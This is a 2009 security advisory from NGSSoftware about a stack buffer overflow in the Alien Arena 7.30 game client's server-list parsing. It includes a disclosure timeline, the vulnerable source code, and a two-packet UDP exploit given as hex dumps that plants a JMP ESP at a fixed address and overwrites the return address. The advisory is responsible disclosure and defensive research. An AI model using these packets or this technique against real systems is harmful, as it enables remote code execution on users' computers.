Anonymous Remote Arbitrary Code Execution in Alien Arena 7.30 ------------------------------------------------------------- October 21st, 2009 ======= Summary ======= Name: Anonymous Remote Arbitrary Code Execution in Alien Arena 7.30 Release Date: October 21st, 2009 Discoverer: Jason Geffner Vendor: COR Entertainment Systems Affected: Alien Arena 7.30 Risk: Very High Status: Published Formatted Advisory: http://www.ngssoftware.com/brochures/Anonymous.Remote.Arbitrary.Code.Execution.in.Alien.Arena.pdf ============ Introduction ============ This paper discusses how an anonymous remote attacker can execute arbitrary code on the computers of Alien Arena's networked players. This vulnerability was responsibly disclosed to the authors of the game and this advisory was not released until a fixed build of the game was released. ========== Background ========== Alien Arena is a popular[1] free open-source FPS game for Windows, Mac, and Linux. It has had a history of security vulnerabilities[2] since its initial release in 2004. ======== Timeline ======== 06/19/09 Alien Arena 7.30 released 06/21/09 Anonymous remote arbitrary code execution vulnerability discovered 06/22/09 Request for contact sent to Alien Arena's developers 06/23/09 Detailed vulnerability report responsibly disclosed to Lead Developer of Alien Arena 06/23/09 Security vulnerability "fixed" (Revision 1390)[3] 06/23/09 Broken "fix" identified and responsibly disclosed to Lead Developer of Alien Arena 06/23/09 Security vulnerability "fix" fixed (Revision 1391)[3] 10/08/09 Alien Arena 7.31 released, incorporating fixes above 10/16/09 Advisory written 10/21/09 Advisory released ============= Vulnerability ============= When the game client requests a list of network games to join, it sends a UDP query to master.corservers.com. This server responds to the client via UDP with a list of known game servers. The client then sends a UDP query to each of the listed game servers, asking each for its description. The client's parsing of the servers' responses is vulnerable to a buffer overflow attack. The client is designed to listen for incoming UDP packets from master.corservers.com and from the game servers on port 27901, however it will accept and parse UDP packets from any IP address even if the client did not initiate a UDP conversation with that given IP address. As such, an attacker can send a malformed UDP packet from any source IP address; they need not know a valid game server's IP address to exploit this buffer overflow vulnerability. When the client receives a UDP packet on port 27901 that specifies a server's description (the server-to-client "print" message), it calls the function M_AddToServerList(...)in \client\menu.c to tokenize the rest of the UDP packet (status_string): | void M_AddToServerList (netadr_t adr, char *status_string) | { | char *rLine; | char *token; | char lasttoken[256]; | char seps[] = "\\"; | ... | //parse it | | result = strlen(status_string); | | //server info - we may revisit this | rLine = GetLine (&status_string, &result); | ... | /* Establish string and get the first token: */ | token = strtok( rLine, seps ); | while( token != NULL ) { | /* While there are tokens in "string" */ | if (!_stricmp (lasttoken, "admin")) | ... | else if (!_stricmp (lasttoken, "website")) | ... | else if (!_stricmp (lasttoken, "fraglimit")) | ... | else if (!_stricmp (lasttoken, "timelimit")) | ... | else if (!_stricmp (lasttoken, "version")) | ... | else if (!_stricmp (lasttoken, "mapname")) | ... | else if (!_stricmp (lasttoken, "hostname")) | ... | else if (!_stricmp (lasttoken, "maxclients")) | ... | /* Get next token: */ | strcpy (lasttoken, token); | ... Note that the lasttoken buffer is 256 bytes long. As such, if an attacker supplies a token longer than 256 bytes then the strcpy(...) function above will overwrite the return address for the M_AddToServerList(...) function. ==================== Exploit, Step 1 of 2 ==================== To properly orchestrate an attack and make it agnostic of the version of Windows, an attacker would need to know a reliable return address that they can use that satisfies the following conditions: 1. This address is constant across all versions of Windows. 2. The attacker can write code and data to this address. 3. Code at this address is readable and executable. A global variable in Alien Arena's executable would be ideal for this situation since the Alien Arena developers did not link this executable for ASLR or DEP. Since it's a global variable and ASLR is disabled, the address will remain constant across all versions of Windows for this version of Alien Arena, and since DEP is not enabled, its content is executable. When the client receives a UDP packet on port 27901 that specifies a list of game servers (the server-to-client "servers" message), it calls the function CL_ParseGetServersResponse() in \client\cl_main.c to parse the rest of the UDP packet (net_message): | void CL_ParseGetServersResponse() | { | ... | byte addr[4]; | | MSG_BeginReading (&net_message); | MSG_ReadLong (&net_message); // skip the -1 | ... | numServers = 0; | ... | while( net_message.readcount +6 <= net_message.cursize ) { | MSG_ReadData( &net_message, addr, 4 ); | servers[numServers].port = MSG_ReadShort( &net_message ); | ... The following UDP data can be sent from any IP address to a client on port 27901 to store the "port" number 0xE4FF in the global variable servers[1].port, which in Alien Arena 7.30 for Windows is located at the static address 0x05BE9734. (N.B., servers[0].port can't be used because it is at static address 0x05BE8F00 and the null-byte in this address can't be used in the "print" message). 00000000 FF FF FF FF 73 65 72 76 65 72 73 20 7F 00 00 01 ....servers .... 00000010 00 00 00 00 00 00 FF E4 ........ Note that 0xFF 0xE4 is the machine code for "JMP ESP". After sending the UDP data above to the client, the attacker now knows that the assembly instruction "JMP ESP" is located at static address 0x05BE9734. ==================== Exploit, Step 2 of 2 ==================== The attacker could then send a UDP packet from any IP address to the client consisting of the following data. This message overflows the strcpy(...) function in M_AddToServerList(...) above and overwrites the return address with the address of the "JMP ESP" instruction above (0x05BE9734). The highlighted NOPs are the shellcode that gets executed. Note that those 4 NOPs can be replaced with quite a bit of code -- the data portion of the UDP packet can be up to 2800 bytes, more than enough to do whatever an attacker would want to do. The only restriction is no null-bytes, but that obviously wouldn't be a problem if an attacker used an encoded payload. 00000000 FF FF FF FF 70 72 69 6E 74 0A 5C 41 41 41 41 41 ....print.\AAAAA 00000010 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000020 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000030 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000040 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000050 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000060 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000070 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000080 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000090 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000000A0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000000B0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000000C0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000000D0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000000E0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 000000F0 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 AAAAAAAAAAAAAAAA 00000100 41 41 41 41 41 41 41 41 41 41 41 34 97 BE 05 90 AAAAAAAAAAA4.... 00000110 90 90 90 0A 20 41 20 41 .... A A ========== Conclusion ========== It is clear that a remote attacker can anonymously execute arbitrary code on clients' systems by sending 2 maliciously crafted UDP packets. It should be noted that there are likely other vulnerabilities remaining in this codebase. NGS did not perform a comprehensive security review of Alien Arena. ============ Observations ============ Despite the common perception in the open-source community that "given enough eyeballs, all bugs are shallow,"[4] open-source software is still plagued by high-impact security vulnerabilities. For this mantra to hold, not only are "enough eyeballs" required, but the eyeballs should be those of well-trained security professionals. Security best-practices such as adherence to the Security Development Lifecycle[5] are also critical when designing and developing software. It is worth noting that even with the code-based vulnerability identified in this advisory, a defense-in-depth approach of using ASLR and/or DEP would have deterred exploitation if enabled. =============== Fix Information =============== This issue has now been resolved. Alien Arena 7.31 can be downloaded from: http://icculus.org/alienarena/rpa/aquire.html ========== References ========== [1] http://games.slashdot.org/story/09/06/21/1336213 [2] http://www.securityfocus.com/archive/1/426984 [3] http://icculus.org/alienarena/changelogs/7.31.txt [4] http://en.wikipedia.org/wiki/Linus'_Law [5] http://msdn.microsoft.com/en-us/library/ms995349.aspx NGSSoftware Insight Security Research http://www.ngssoftware.com/ http://www.databasesecurity.com/ http://www.nextgenss.com/ +44(0)208 401 0070